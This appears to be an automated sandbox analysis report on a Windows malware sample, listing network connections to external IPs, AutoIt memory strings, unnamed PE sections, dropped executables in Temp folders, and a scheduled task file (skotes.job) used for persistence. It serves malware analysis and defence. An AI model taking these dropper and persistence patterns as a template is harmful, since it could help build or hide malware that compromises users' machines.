Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.6:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:57259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.6:64269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.173:443 -> 192.168.2.6:64271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.50.73.4:443 -> 192.168.2.6:64281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64292 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.6:64308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:64357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64403 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64404 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64405 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: dd2bc11318.exe, 0000001F.00000000.3264261482.0000000000272000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_a4c84d93-8
Source: dd2bc11318.exe, 0000001F.00000000.3264261482.0000000000272000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_c77145dd-0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name:
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: .rsrc
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: .idata
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: 7250ce8e20.exe.24.dr	Static PE information: section name:
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: .rsrc
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: .idata
Source: 7250ce8e20.exe.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: 35e66d06ff.exe.24.dr	Static PE information: section name:
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: .idata
Source: 35e66d06ff.exe.24.dr	Static PE information: section name:
Source: random[2].exe0.24.dr	Static PE information: section name:
Source: random[2].exe0.24.dr	Static PE information: section name: .idata
Source: 8865d2703a.exe.24.dr	Static PE information: section name:
Source: 8865d2703a.exe.24.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E485E5	27_2_05E485E5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5ADFD	27_2_05E5ADFD
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E41DFA	27_2_05E41DFA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E63DF9	27_2_05E63DF9
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E17DCC	27_2_05E17DCC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E43DCA	27_2_05E43DCA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1DDD0	27_2_05E1DDD0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E33DDB	27_2_05E33DDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3A5DF	27_2_05E3A5DF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1C5A0	27_2_05E1C5A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E31DA8	27_2_05E31DA8
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E35DAE	27_2_05E35DAE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3D5B7	27_2_05E3D5B7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E675BE	27_2_05E675BE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E59DBF	27_2_05E59DBF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5B5BB	27_2_05E5B5BB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E175BE	27_2_05E175BE
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E34586	27_2_05E34586
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3F588	27_2_05E3F588
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E19598	27_2_05E19598
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E52D69	27_2_05E52D69
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2DD70	27_2_05E2DD70
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E33D7F	27_2_05E33D7F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4F543	27_2_05E4F543
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E28D55	27_2_05E28D55
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1955F	27_2_05E1955F
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6E525	27_2_05E6E525
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6D520	27_2_05E6D520
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5CD29	27_2_05E5CD29
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2A532	27_2_05E2A532
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E40531	27_2_05E40531
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E26D3A	27_2_05E26D3A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1CD0B	27_2_05E1CD0B
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2950E	27_2_05E2950E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6ED1E	27_2_05E6ED1E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1D4E5	27_2_05E1D4E5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E454E0	27_2_05E454E0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E3A4E4	27_2_05E3A4E4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E68CED	27_2_05E68CED
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E29CED	27_2_05E29CED
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E19CF7	27_2_05E19CF7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E37CFF	27_2_05E37CFF
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E53CC6	27_2_05E53CC6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E32CC5	27_2_05E32CC5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1ECD1	27_2_05E1ECD1
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6C4D7	27_2_05E6C4D7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2F4D6	27_2_05E2F4D6
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E314D5	27_2_05E314D5
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E474DD	27_2_05E474DD
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E5D4DA	27_2_05E5D4DA
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E69CA7	27_2_05E69CA7
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E64CA0	27_2_05E64CA0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E354A4	27_2_05E354A4
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E1E4AC	27_2_05E1E4AC
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E4C4AB	27_2_05E4C4AB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E22C87	27_2_05E22C87
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E6BC88	27_2_05E6BC88
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E2449E	27_2_05E2449E
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E39467	27_2_05E39467
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E39466	27_2_05E39466
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E51477	27_2_05E51477
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_2_05E39C7F	27_2_05E39C7F
